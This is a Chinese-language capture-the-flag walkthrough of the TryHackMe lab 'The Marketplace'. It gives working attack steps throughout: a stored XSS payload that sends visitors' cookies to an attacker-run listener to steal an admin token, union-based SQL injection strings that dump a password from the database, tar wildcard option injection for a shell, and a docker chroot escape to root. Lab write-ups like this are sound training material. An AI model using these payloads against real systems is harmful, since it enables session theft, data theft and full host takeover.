【THM】The Marketplace練習

Super_Snow_Sword發表於2024-10-06

【THM】The Marketplace練習

與本文相關的TryHackMe實驗房間連結:TryHackMe | The Marketplace

簡介:你能接管marketplace的基礎設施嗎?

The Marketplace的系統管理員Michael允許您訪問他的一個內部伺服器,因此您可以滲透他和他的團隊正在開發的The Marketplace平臺。他說,他和他的團隊還需要解決一些bug。

image-20241005154844263

第一題:flag 1是什麼?

第一步

埠掃描

首先使用nmap對埠進行掃描

nmap -Pn -sV -T4 10.10.42.48

image-20241005155054731

可以發現目標開放了3個埠:22/tcp ssh服務、80/tcp http服務、32768/tcp http服務

第二步

訪問網站

我們先進入網站看看介面

image-20241005155216581

可以發現這個超市就只賣仙人掌和膝上型電腦

我們可以做的操作有登入和註冊,先註冊一個賬號看看:

image-20241005155915613

註冊登入後多出兩個功能點:上架商品和訊息,並且在商品頁面中可以聯絡賣家和舉報產品

我們嘗試上架一個商品,發現存在儲存型XSS漏洞:

image-20241005161245360image-20241005161312011

嘗試舉報產品會收到系統的訊息

image-20241005160604790

第三步

資訊收集

網頁原始碼中沒有藏什麼東西

我們進行目錄掃描:

gobuster dir -u http://10.10.42.48 -w Filenames_or_Directories_All.txt

image-20241005160628997

我們得到一個很重要的路徑:/admin(robots.txt中寫的路徑也是如此)

管理員的頁面禁止我們訪問:

image-20241005160722673

第四步

嘗試越權

我們先抓個包觀察一下我們的請求:

image-20241005161431672

可以發現我們的Cookie中含有token識別我們的身份,我們嘗試解碼:

image-20241005161626726

可以發現有一個admin的引數,我們嘗試修改為true進入/admin,但是失敗了

第五步

利用XSS漏洞進行釣魚

這裡有一個很騷的思路,我們上傳商品存在儲存型XSS漏洞,那麼我們可以在我們的商品頁面作為釣魚頁面,舉報自己的商品誘導管理員稽核,然後得到管理員的Cookie,提取他的Token

首先我們建立一個web伺服器進行監聽:

python -m http.server

然後構造XSS釣魚頁面,當有人訪問的時候獲取他的cookie

<img src=x onerror=this.src="http://10.10.22.44:8000/?c="+document.cookie>

<img> 用於載入影像。

src=x 設定一個無效的影像源,通常會導致載入失敗。

onerror 當影像載入失敗時觸發的事件。

this.src 在影像載入失敗時,將影像的 src 屬性設定為一個 URL,即為我們構造的一個新的URL將當前頁面的 cookies 作為查詢引數新增到該 URL 中

document.cookie 獲取當前頁面的 cookies

image-20241005163556416

image-20241005163706006

可以發現正在檢視這個頁面的自己的cookie不斷回顯出來,我們現在舉報商品

image-20241005163912856

發現有幾條不一樣的,我們提取Token分析:

image-20241005163947267

有了admin的Token,我們現在換上:

image-20241005164039186

成功進入admin後臺,得到了flag:

image-20241005164137576

第二題:flag 2是什麼?(User.txt)

第一步

觀察功能點

成為後臺管理員,我們能做的操作有:檢視使用者詳細資訊、刪除使用者

image-20241005164420728

我們可以發現我們檢視使用者資訊時是直接GET請求數字得到的資訊:

sqlmap -u "http://10.10.42.48/admin?user=1" --cookie "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsInVzZXJuYW1lIjoibWljaGFlbCIsImFkbWluIjp0cnVlLCJpYXQiOjE3MjgxMTgxNzB9.H8NLhz-z1p3WvuMLZiNWphI9tZvibVh1mnAJScEWFlc"

別用SQLMAP!!!!直接給你cookie的token整報廢又得重新拿token

第二步

SQL隱碼攻擊

我們嘗試進行注入:

http://10.10.42.48/admin?user=1 order by 3 --+

正常回顯

http://10.10.42.48/admin?user=1 order by 5 --+

image-20241005165812419

報錯,因此可以判斷網站查詢的欄位數為4

http://10.10.42.48/admin?user=1 and 1=2 union select 1,2,3,4--+

image-20241005165930923

發現1,2的位置可以回顯

http://10.10.42.48/admin?user=1 and 1=2 union select database(),2,3,4--+

image-20241005170107248

http://10.10.42.48/admin?user=1 and 1=2 union select group_concat(table_name),2,3,4 from information_schema.tables where table_schema='marketplace'--+

image-20241005170309633

http://10.10.42.48/admin?user=1 and 1=2 union select group_concat(column_name),2,3,4 from information_schema.columns where table_schema='marketplace' and table_name='messages'--+

image-20241005170416962

http://10.10.42.48/admin?user=1 and 1=2 union select concat_ws(',',id,is_read,message_content,user_from,user_to),2,3,4 from marketplace.messages limit 0,1--+

image-20241005170716857

我們發現了關鍵資訊,SSH連線的密碼!

第三步

使用ssh連線

我們可以發現這是user1傳送給user3的訊息,我們所以我們可以嘗試使用jake作為使用者名稱進行連線:

ssh jake@10.10.42.48

image-20241005171412751

image-20241005180716117

第三題:flag 3是什麼?(Root.txt)

第一步

檢視我們的許可權

sudo -l

image-20241005171539596

我們可以發現我們可以不使用密碼以michael的身份執行/opt/backups/backup.sh

我們看看指令碼中的命令

cat /opt/backups/backup.sh

image-20241005171654342

這是一個壓縮備份當前目錄下的所有檔案的指令碼

tar cf /opt/backups/backup.tar *

第二步

提升我們的許可權

我們在GTFOBins中搜尋發現:

image-20241005172656893

我們使用a方式,我們分析其原理:

tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

/dev/null 特殊的路徑,寫入該檔案的資料都會被丟棄,但指令碼中已經定義了路徑所以我們不用管

--checkpoint=1 在歸檔過程中每處理一個檔案時,生成一個檢查點。這個選項通常用於長時間執行的 tar 操作。

--checkpoint-action=exec=/bin/sh 在每個檢查點觸發時執行指定的命令。這裡指定的命令是 /bin/sh,即啟動一個新的 shell。

只要能夠讓--checkpoint=1--checkpoint-action=exec=sh執行起來就行了,那麼我們只用建立兩個名為--checkpoint=1--checkpoint-action=exec=sh的檔案就行了

touch "./--checkpoint=1"
touch "./--checkpoint-action=exec=sh"
sudo -u michael /opt/backups/backup.sh

image-20241005173807393

我們成為了michael!

第三步

檢視我們的許可權

find / -type f -perm -04000 -ls 2>/dev/null

image-20241005173945447

我們在GTFOBins中搜尋沒有發現,我們看看使用者組

id

image-20241005180221024

可以發現michael是docker使用者

第四步

提升我們的許可權

我們可以在GTFOBins中發現docker的提權方法:

image-20241005180040163

我們使用命令:

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

image-20241005180546023

直接看root資料夾中的flag3

image-20241005180627292

image-20241005180723259